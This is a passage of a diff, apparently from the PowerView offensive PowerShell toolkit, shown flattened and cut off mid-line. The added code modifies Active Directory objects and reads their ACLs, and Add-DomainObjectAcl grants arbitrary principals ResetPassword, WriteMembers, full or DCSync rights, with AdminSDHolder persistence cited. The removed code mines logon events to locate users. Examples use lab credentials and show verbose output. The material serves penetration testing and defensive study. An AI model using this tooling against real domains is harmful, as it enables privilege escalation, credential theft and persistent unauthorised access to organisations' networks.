[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String[]] + $Identity, - Filter out all events before this date. Default: 5 days + [ValidateNotNullOrEmpty()] + [Alias('Reaplce')] + [Hashtable] + $Set, - .PARAMETER Credential + [ValidateNotNullOrEmpty()] + [Hashtable] + $XOR, - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. + [ValidateNotNullOrEmpty()] + [String[]] + $Clear, - .EXAMPLE + [ValidateNotNullOrEmpty()] + [String] + $Domain, - PS C:\> Get-UserEvent -ComputerName DomainController.testlab.local + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, - .LINK + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, - http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/ -#> + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, - Param( - [Parameter(ValueFromPipeline=$True)] + [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] - $ComputerName = $Env:ComputerName, + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] - [ValidateSet("logon","tgt","all")] - $EventType = "logon", + $SecurityMasks, - [DateTime] - $DateStart = [DateTime]::Today.AddDays(-5), + [Switch] + $Tombstone, [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - if($EventType.ToLower() -like "logon") { - [Int32[]]$ID = @(4624) - } - elseif($EventType.ToLower() -like "tgt") { - [Int32[]]$ID = @(4768) - } - else { - [Int32[]]$ID = @(4624, 4768) + BEGIN { + $SearcherArguments = @{'Raw' = $True} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } } - if($Credential) { - Write-Verbose "Using alternative credentials" - $Arguments = @{ - 'ComputerName' = $ComputerName; - 'Credential' = $Credential; - 'FilterHashTable' = @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart}; - 'ErrorAction' = 'SilentlyContinue'; - } - } - else { - $Arguments = @{ - 'ComputerName' = $ComputerName; - 'FilterHashTable' = @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart}; - 'ErrorAction' = 'SilentlyContinue'; - } - } + PROCESS { + if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } - # grab all events matching our filter for the specified host - Get-WinEvent @Arguments | ForEach-Object { + # splat the appropriate arguments to Get-DomainObject + $RawObject = Get-DomainObject @SearcherArguments - if($ID -contains 4624) { - # first parse and check the logon event type. This could be later adapted and tested for RDP logons (type 10) - if($_.message -match '(?s)(?<=Logon Type:).*?(?=(Impersonation Level:|New Logon:))') { - if($Matches) { - $LogonType = $Matches[0].trim() - $Matches = $Null - } - } - else { - $LogonType = "" - } + ForEach ($Object in $RawObject) { - # interactive logons or domain logons - if (($LogonType -eq 2) -or ($LogonType -eq 3)) { - try { - # parse and store the account used and the address they came from - if($_.message -match '(?s)(?<=New Logon:).*?(?=Process Information:)') { - if($Matches) { - $UserName = $Matches[0].split("`n")[2].split(":")[1].trim() - $Domain = $Matches[0].split("`n")[3].split(":")[1].trim() - $Matches = $Null - } - } - if($_.message -match '(?s)(?<=Network Information:).*?(?=Source Port:)') { - if($Matches) { - $Address = $Matches[0].split("`n")[2].split(":")[1].trim() - $Matches = $Null - } - } + $Entry = $RawObject.GetDirectoryEntry() - # only add if there was account information not for a machine or anonymous logon - if ($UserName -and (-not $UserName.endsWith('$')) -and ($UserName -ne 'ANONYMOUS LOGON')) { - $LogonEventProperties = @{ - 'Domain' = $Domain - 'ComputerName' = $ComputerName - 'Username' = $UserName - 'Address' = $Address - 'ID' = '4624' - 'LogonType' = $LogonType - 'Time' = $_.TimeCreated - } - New-Object -TypeName PSObject -Property $LogonEventProperties + if($PSBoundParameters['Set']) { + try { + $PSBoundParameters['Set'].GetEnumerator() | ForEach-Object { + Write-Verbose "[Set-DomainObject] Setting '$($_.Name)' to '$($_.Value)' for object '$($RawObject.Properties.samaccountname)'" + $Entry.put($_.Name, $_.Value) } + $Entry.commitchanges() } catch { - Write-Verbose "Error parsing event logs: $_" + Write-Warning "[Set-DomainObject] Error setting/replacing properties for object '$($RawObject.Properties.samaccountname)' : $_" } } - } - if($ID -contains 4768) { - # the TGT event type - try { - if($_.message -match '(?s)(?<=Account Information:).*?(?=Service Information:)') { - if($Matches) { - $Username = $Matches[0].split("`n")[1].split(":")[1].trim() - $Domain = $Matches[0].split("`n")[2].split(":")[1].trim() - $Matches = $Null + if($PSBoundParameters['XOR']) { + try { + $PSBoundParameters['XOR'].GetEnumerator() | ForEach-Object { + $PropertyName = $_.Name + $PropertyXorValue = $_.Value + Write-Verbose "[Set-DomainObject] XORing '$PropertyName' with '$PropertyXorValue' for object '$($RawObject.Properties.samaccountname)'" + $TypeName = $Entry.$PropertyName[0].GetType().name + + # UAC value references- https://support.microsoft.com/en-us/kb/305144 + $PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue + $Entry.$PropertyName = $PropertyValue -as $TypeName } + $Entry.commitchanges() } - - if($_.message -match '(?s)(?<=Network Information:).*?(?=Additional Information:)') { - if($Matches) { - $Address = $Matches[0].split("`n")[1].split(":")[-1].trim() - $Matches = $Null + catch { + Write-Warning "[Set-DomainObject] Error XOR'ing properties for object '$($RawObject.Properties.samaccountname)' : $_" + } + } + if($PSBoundParameters['Clear']) { + try { + $PSBoundParameters['Clear'] | ForEach-Object { + $PropertyName = $_ + Write-Verbose "[Set-DomainObject] Clearing '$PropertyName' for object '$($RawObject.Properties.samaccountname)'" + $Entry.$PropertyName.clear() } + $Entry.commitchanges() } - - $LogonEventProperties = @{ - 'Domain' = $Domain - 'ComputerName' = $ComputerName - 'Username' = $UserName - 'Address' = $Address - 'ID' = '4768' - 'LogonType' = '' - 'Time' = $_.TimeCreated + catch { + Write-Warning "[Set-DomainObject] Error clearing properties for object '$($RawObject.Properties.samaccountname)' : $_" } - - New-Object -TypeName PSObject -Property $LogonEventProperties - } - catch { - Write-Verbose "Error parsing event logs: $_" } } } } -function Get-ObjectAcl { +function Get-DomainObjectAcl { <# - .SYNOPSIS - Returns the ACLs associated with a specific active directory object. +.SYNOPSIS + +Returns the ACLs associated with a specific active directory object. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-DomainGUIDMap + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +.PARAMETER ResolveGUIDs + +Switch. Resolve GUIDs to their display names. - Thanks Sean Metcalf (@pyrotek3) for the idea and guidance. +.PARAMETER RightsFilter - .PARAMETER SamAccountName +A specific set of rights to return ('All', 'ResetPassword', 'WriteMembers'). - Object name to filter for. +.PARAMETER Domain - .PARAMETER Name +Specifies the domain to use for the query, defaults to the current domain. - Object name to filter for. +.PARAMETER LDAPFilter - .PARAMETER DistinguishedName +Specifies an LDAP query string that is used to filter Active Directory objects. - Object distinguished name to filter for. +.PARAMETER SearchBase - .PARAMETER ResolveGUIDs +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. - Switch. Resolve GUIDs to their display names. +.PARAMETER Server - .PARAMETER Filter +Specifies an Active Directory server (domain controller) to bind to. - A customized ldap filter string to use, e.g. "(description=*admin*)" - - .PARAMETER ADSpath +.PARAMETER SearchScope - The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). - .PARAMETER ADSprefix +.PARAMETER ResultPageSize - Prefix to set for the searcher (like "CN=Sites,CN=Configuration") +Specifies the PageSize to set for the LDAP searcher object. - .PARAMETER RightsFilter +.PARAMETER ServerTimeLimit - Only return results with the associated rights, "All", "ResetPassword","WriteMembers" +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - .PARAMETER Domain +.PARAMETER Tombstone - The domain to use for the query, defaults to the current domain. +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - .PARAMETER DomainController +.PARAMETER Credential - Domain controller to reflect LDAP queries through. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - .PARAMETER PageSize +.EXAMPLE - The PageSize to set for the LDAP searcher object. +Get-DomainObjectAcl -Identity matt.admin -domain testlab.local -ResolveGUIDs - .EXAMPLE +Get the ACLs for the matt.admin user in the testlab.local domain and +resolve relevant GUIDs to their display names. - PS C:\> Get-ObjectAcl -SamAccountName matt.admin -domain testlab.local - - Get the ACLs for the matt.admin user in the testlab.local domain +.EXAMPLE - .EXAMPLE +Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs - PS C:\> Get-ObjectAcl -SamAccountName matt.admin -domain testlab.local -ResolveGUIDs - - Get the ACLs for the matt.admin user in the testlab.local domain and - resolve relevant GUIDs to their display names. +Enumerate the ACL permissions for all OUs in the domain. - .EXAMPLE +.EXAMPLE - PS C:\> Get-NetOU -FullData | Get-ObjectAcl -ResolveGUIDs +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainObjectAcl -Credential $Cred -ResolveGUIDs - Enumerate the ACL permissions for all OUs in the domain. +.OUTPUTS + +PowerView.ACL + +Custom PSObject with ACL entries. #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ACL')] [CmdletBinding()] Param ( - [Parameter(ValueFromPipelineByPropertyName=$True)] - [String] - $SamAccountName, - - [Parameter(ValueFromPipelineByPropertyName=$True)] - [String] - $Name = "*", - - [Parameter(ValueFromPipelineByPropertyName=$True)] - [String] - $DistinguishedName = "*", + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String[]] + $Identity, [Switch] $ResolveGUIDs, [String] - $Filter, + [Alias('Rights')] + [ValidateSet('All', 'ResetPassword', 'WriteMembers')] + $RightsFilter, + [ValidateNotNullOrEmpty()] [String] - $ADSpath, + $Domain, + [ValidateNotNullOrEmpty()] + [Alias('Filter')] [String] - $ADSprefix, + $LDAPFilter, + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] [String] - [ValidateSet("All","ResetPassword","WriteMembers")] - $RightsFilter, + $SearchBase, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] [String] - $Domain, + $Server, + [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] - $DomainController, + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, - [ValidateRange(1,10000)] + [ValidateRange(1, 10000)] [Int] - $PageSize = 200 + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - begin { - $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -ADSprefix $ADSprefix -PageSize $PageSize + BEGIN { + $SearcherArguments = @{ + 'SecurityMasks' = 'Dacl' + 'Properties' = 'samaccountname,ntsecuritydescriptor,distinguishedname,objectsid' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $Searcher = Get-DomainSearcher @SearcherArguments + + $DomainGUIDMapArguments = @{} + if ($PSBoundParameters['Domain']) { $DomainGUIDMapArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $DomainGUIDMapArguments['Server'] = $Server } + if ($PSBoundParameters['ResultPageSize']) { $DomainGUIDMapArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $DomainGUIDMapArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Credential']) { $DomainGUIDMapArguments['Credential'] = $Credential } # get a GUID -> name mapping - if($ResolveGUIDs) { - $GUIDs = Get-GUIDMap -Domain $Domain -DomainController $DomainController -PageSize $PageSize + if ($PSBoundParameters['ResolveGUIDs']) { + $GUIDs = Get-DomainGUIDMap @DomainGUIDMapArguments } } - process { - + PROCESS { if ($Searcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_ + if ($IdentityInstance -match '^S-1-.*') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^(CN|OU)=.*') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + } + else { + try { + $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + catch { + if ($IdentityInstance.Contains('.')) { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))" + } + else { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))" + } + } + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } - if($SamAccountName) { - $Searcher.filter="(&(samaccountname=$SamAccountName)(name=$Name)(distinguishedname=$DistinguishedName)$Filter)" + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainObjectAcl] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" } - else { - $Searcher.filter="(&(name=$Name)(distinguishedname=$DistinguishedName)$Filter)" + + if ($Filter) { + $Searcher.filter = "(&$Filter)" } - - try { - $Results = $Searcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - $Object = [adsi]($_.path) + Write-Verbose "[Get-DomainObjectAcl] Get-DomainObjectAcl filter string: $($Searcher.filter)" - if($Object.distinguishedname) { - $Access = $Object.PsBase.ObjectSecurity.access - $Access | ForEach-Object { - $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0] + $Results = $Searcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $Object = $_.Properties + + if ($Object.objectsid -and $Object.objectsid[0]) { + $ObjectSid = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value + } + else { + $ObjectSid = $Null + } + + try { + New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Object['ntsecuritydescriptor'][0], 0 | Select-Object -Expand DiscretionaryAcl | ForEach-Object { - if($Object.objectsid[0]){ - $S = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value + if ($PSBoundParameters['RightsFilter']) { + $GuidFilter = Switch ($RightsFilter) { + 'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' } + 'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' } + Default { '00000000-0000-0000-0000-000000000000' } } - else { - $S = $Null + if ($_.ObjectType -eq $GuidFilter) { + $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0] + $_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid + $Continue = $True } - - $_ | Add-Member NoteProperty 'ObjectSID' $S - $_ } - } - } | ForEach-Object { - if($RightsFilter) { - $GuidFilter = Switch ($RightsFilter) { - "ResetPassword" { "00299570-246d-11d0-a768-00aa006e0529" } - "WriteMembers" { "bf9679c0-0de6-11d0-a285-00aa003049e2" } - Default { "00000000-0000-0000-0000-000000000000"} + else { + $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0] + $_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid + $Continue = $True } - if($_.ObjectType -eq $GuidFilter) { $_ } - } - else { - $_ - } - } | ForEach-Object { - if($GUIDs) { - # if we're resolving GUIDs, map them them to the resolved hash table - $AclProperties = @{} - $_.psobject.properties | ForEach-Object { - if( ($_.Name -eq 'ObjectType') -or ($_.Name -eq 'InheritedObjectType') ) { - try { - $AclProperties[$_.Name] = $GUIDS[$_.Value.toString()] - } - catch { - $AclProperties[$_.Name] = $_.Value + + if ($Continue) { + $_ | Add-Member NoteProperty 'ActiveDirectoryRights' ([Enum]::ToObject([System.DirectoryServices.ActiveDirectoryRights], $_.AccessMask)) + + if ($GUIDs) { + # if we're resolving GUIDs, map them them to the resolved hash table + $AclProperties = @{} + $_.psobject.properties | ForEach-Object { + if ($_.Name -match 'ObjectType|InheritedObjectType|ObjectAceType|InheritedObjectAceType') { + try { + $AclProperties[$_.Name] = $GUIDs[$_.Value.toString()] + } + catch { + $AclProperties[$_.Name] = $_.Value + } + } + else { + $AclProperties[$_.Name] = $_.Value + } } + $OutObject = New-Object -TypeName PSObject -Property $AclProperties + $OutObject.PSObject.TypeNames.Insert(0, 'PowerView.ACL') + $OutObject } else { - $AclProperties[$_.Name] = $_.Value + $_.PSObject.TypeNames.Insert(0, 'PowerView.ACL') + $_ } } - New-Object -TypeName PSObject -Property $AclProperties } - else { $_ } } - $Results.dispose() - $Searcher.dispose() - } - catch { - Write-Warning $_ + catch { + Write-Verbose "[Get-DomainObjectAcl] Error: $_" + } } } } } -function Add-ObjectAcl { +function Add-DomainObjectAcl { <# - .SYNOPSIS +.SYNOPSIS + +Adds an ACL for a specific active directory object. + +AdminSDHolder ACL approach from Sean Metcalf (@pyrotek3): https://adsecurity.org/?p=1906 + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject + +.DESCRIPTION + +This function modifies the ACL/ACE entries for a given Active Directory +target object specified by -TargetIdentity. Available -Rights are +'All', 'ResetPassword', 'WriteMembers', 'DCSync', or a manual extended +rights GUID can be set with -RightsGUID. These rights are granted on the target +object for the specified -PrincipalIdentity. + +.PARAMETER TargetIdentity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +for the domain object to modify ACLs for. Required. Wildcards accepted. + +.PARAMETER TargetDomain + +Specifies the domain for the TargetIdentity to use for the modification, defaults to the current domain. + +.PARAMETER TargetLDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory object targets. + +.PARAMETER TargetSearchBase - Adds an ACL for a specific active directory object. - - AdminSDHolder ACL approach from Sean Metcalf (@pyrotek3) - https://adsecurity.org/?p=1906 +The LDAP source to search through for targets, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. - ACE setting method adapted from https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects. +.PARAMETER PrincipalIdentity - 'ResetPassword' doesn't need to know the user's current password - 'WriteMembers' allows for the modification of group membership +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +for the domain principal to add for the ACL. Required. Wildcards accepted. - .PARAMETER TargetSamAccountName +.PARAMETER PrincipalDomain - Target object name to filter for. +Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain. - .PARAMETER TargetName +.PARAMETER PrincipalLDAPFilter - Target object name to filter for. +Specifies an LDAP query string that is used to filter for the Active Directory object principal. - .PARAMETER TargetDistinguishedName +.PARAMETER PrincipalSearchBase - Target object distinguished name to filter for. +The LDAP source to search through for principals, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. - .PARAMETER TargetFilter +.PARAMETER Server - A customized ldap filter string to use to find a target, e.g. "(description=*admin*)" +Specifies an Active Directory server (domain controller) to bind to. - .PARAMETER TargetADSpath +.PARAMETER SearchScope - The LDAP source for the target, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). - .PARAMETER TargetADSprefix +.PARAMETER ResultPageSize - Prefix to set for the target searcher (like "CN=Sites,CN=Configuration") +Specifies the PageSize to set for the LDAP searcher object. - .PARAMETER PrincipalSID +.PARAMETER ServerTimeLimit - The SID of the principal object to add for access. +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - .PARAMETER PrincipalName +.PARAMETER Tombstone - The name of the principal object to add for access. +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - .PARAMETER PrincipalSamAccountName +.PARAMETER Credential - The samAccountName of the principal object to add for access. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - .PARAMETER Rights +.PARAMETER Rights - Rights to add for the principal, "All","ResetPassword","WriteMembers","DCSync" +Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'. +Defaults to 'All'. - .PARAMETER Domain +.PARAMETER RightsGUID - The domain to use for the target query, defaults to the current domain. +Manual GUID representing the right to add to the target. - .PARAMETER DomainController +.EXAMPLE - Domain controller to reflect LDAP queries through. +$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid +Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid} - .PARAMETER PageSize +... - The PageSize to set for the LDAP searcher object. +Add-DomainObjectAcl -TargetIdentity dfm.a -PrincipalIdentity harmj0y -Rights ResetPassword -Verbose +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y))) +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainObject] Get-DomainObject filter string:(&(|(samAccountName=dfm.a))) +VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=dfm (admin),CN=Users,DC=testlab,DC=local +VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=dfm (admin),CN=Users,DC=testlab,DC=local - .EXAMPLE +Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid } - Add-ObjectAcl -TargetSamAccountName matt -PrincipalSamAccountName john +AceQualifier : AccessAllowed +ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local +ActiveDirectoryRights : ExtendedRight +ObjectAceType : User-Force-Change-Password +ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114 +InheritanceFlags : None +BinaryLength : 56 +AceType : AccessAllowedObject +ObjectAceFlags : ObjectAceTypePresent +IsCallback : False +PropagationFlags : None +SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108 +AccessMask : 256 +AuditFlags : None +IsInherited : False +AceFlags : None +InheritedObjectAceType : All +OpaqueLength : 0 - Grants 'john' all full access rights to the 'matt' account. +.EXAMPLE - .EXAMPLE +$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid +Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid} - Add-ObjectAcl -TargetSamAccountName matt -PrincipalSamAccountName john -Rights ResetPassword +[no results returned] - Grants 'john' the right to reset the password for the 'matt' account. +$SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Add-DomainObjectAcl -TargetIdentity testuser -PrincipalIdentity harmj0y -Rights ResetPassword -Credential $Cred -Verbose +VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain +VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=harmj0y)(name=harmj0y)))) +VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain +VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser)))) +VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=testuser testuser,CN=Users,DC=testlab,DC=local +VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=testuser,CN=Users,DC=testlab,DC=local - .LINK +Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid } - https://adsecurity.org/?p=1906 - - https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell +AceQualifier : AccessAllowed +ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local +ActiveDirectoryRights : ExtendedRight +ObjectAceType : User-Force-Change-Password +ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114 +InheritanceFlags : None +BinaryLength : 56 +AceType : AccessAllowedObject +ObjectAceFlags : ObjectAceTypePresent +IsCallback : False +PropagationFlags : None +SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108 +AccessMask : 256 +AuditFlags : None +IsInherited : False +AceFlags : None +InheritedObjectAceType : All +OpaqueLength : 0 + +.LINK + +https://adsecurity.org/?p=1906 +https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [CmdletBinding()] Param ( - [String] - $TargetSamAccountName, + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String[]] + $TargetIdentity, + [ValidateNotNullOrEmpty()] [String] - $TargetName = "*", + $TargetDomain, - [Alias('DN')] + [ValidateNotNullOrEmpty()] + [Alias('Filter')] [String] - $TargetDistinguishedName = "*", + $TargetLDAPFilter, + [ValidateNotNullOrEmpty()] [String] - $TargetFilter, + $TargetSearchBase, - [String] - $TargetADSpath, + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String[]] + $PrincipalIdentity, + [ValidateNotNullOrEmpty()] [String] - $TargetADSprefix, + $PrincipalDomain, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] [String] - [ValidatePattern('^S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+')] - $PrincipalSID, + $Server, + [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] - $PrincipalName, + $SearchScope = 'Subtree', - [String] - $PrincipalSamAccountName, + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, - [String] - [ValidateSet("All","ResetPassword","WriteMembers","DCSync")] - $Rights = "All", + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, - [String] - $RightsGUID, + [Switch] + $Tombstone, - [String] - $Domain, + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + [ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync')] [String] - $DomainController, + $Rights = 'All', - [ValidateRange(1,10000)] - [Int] - $PageSize = 200 + [Guid] + $RightsGUID ) - begin { - $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $TargetADSpath -ADSprefix $TargetADSprefix -PageSize 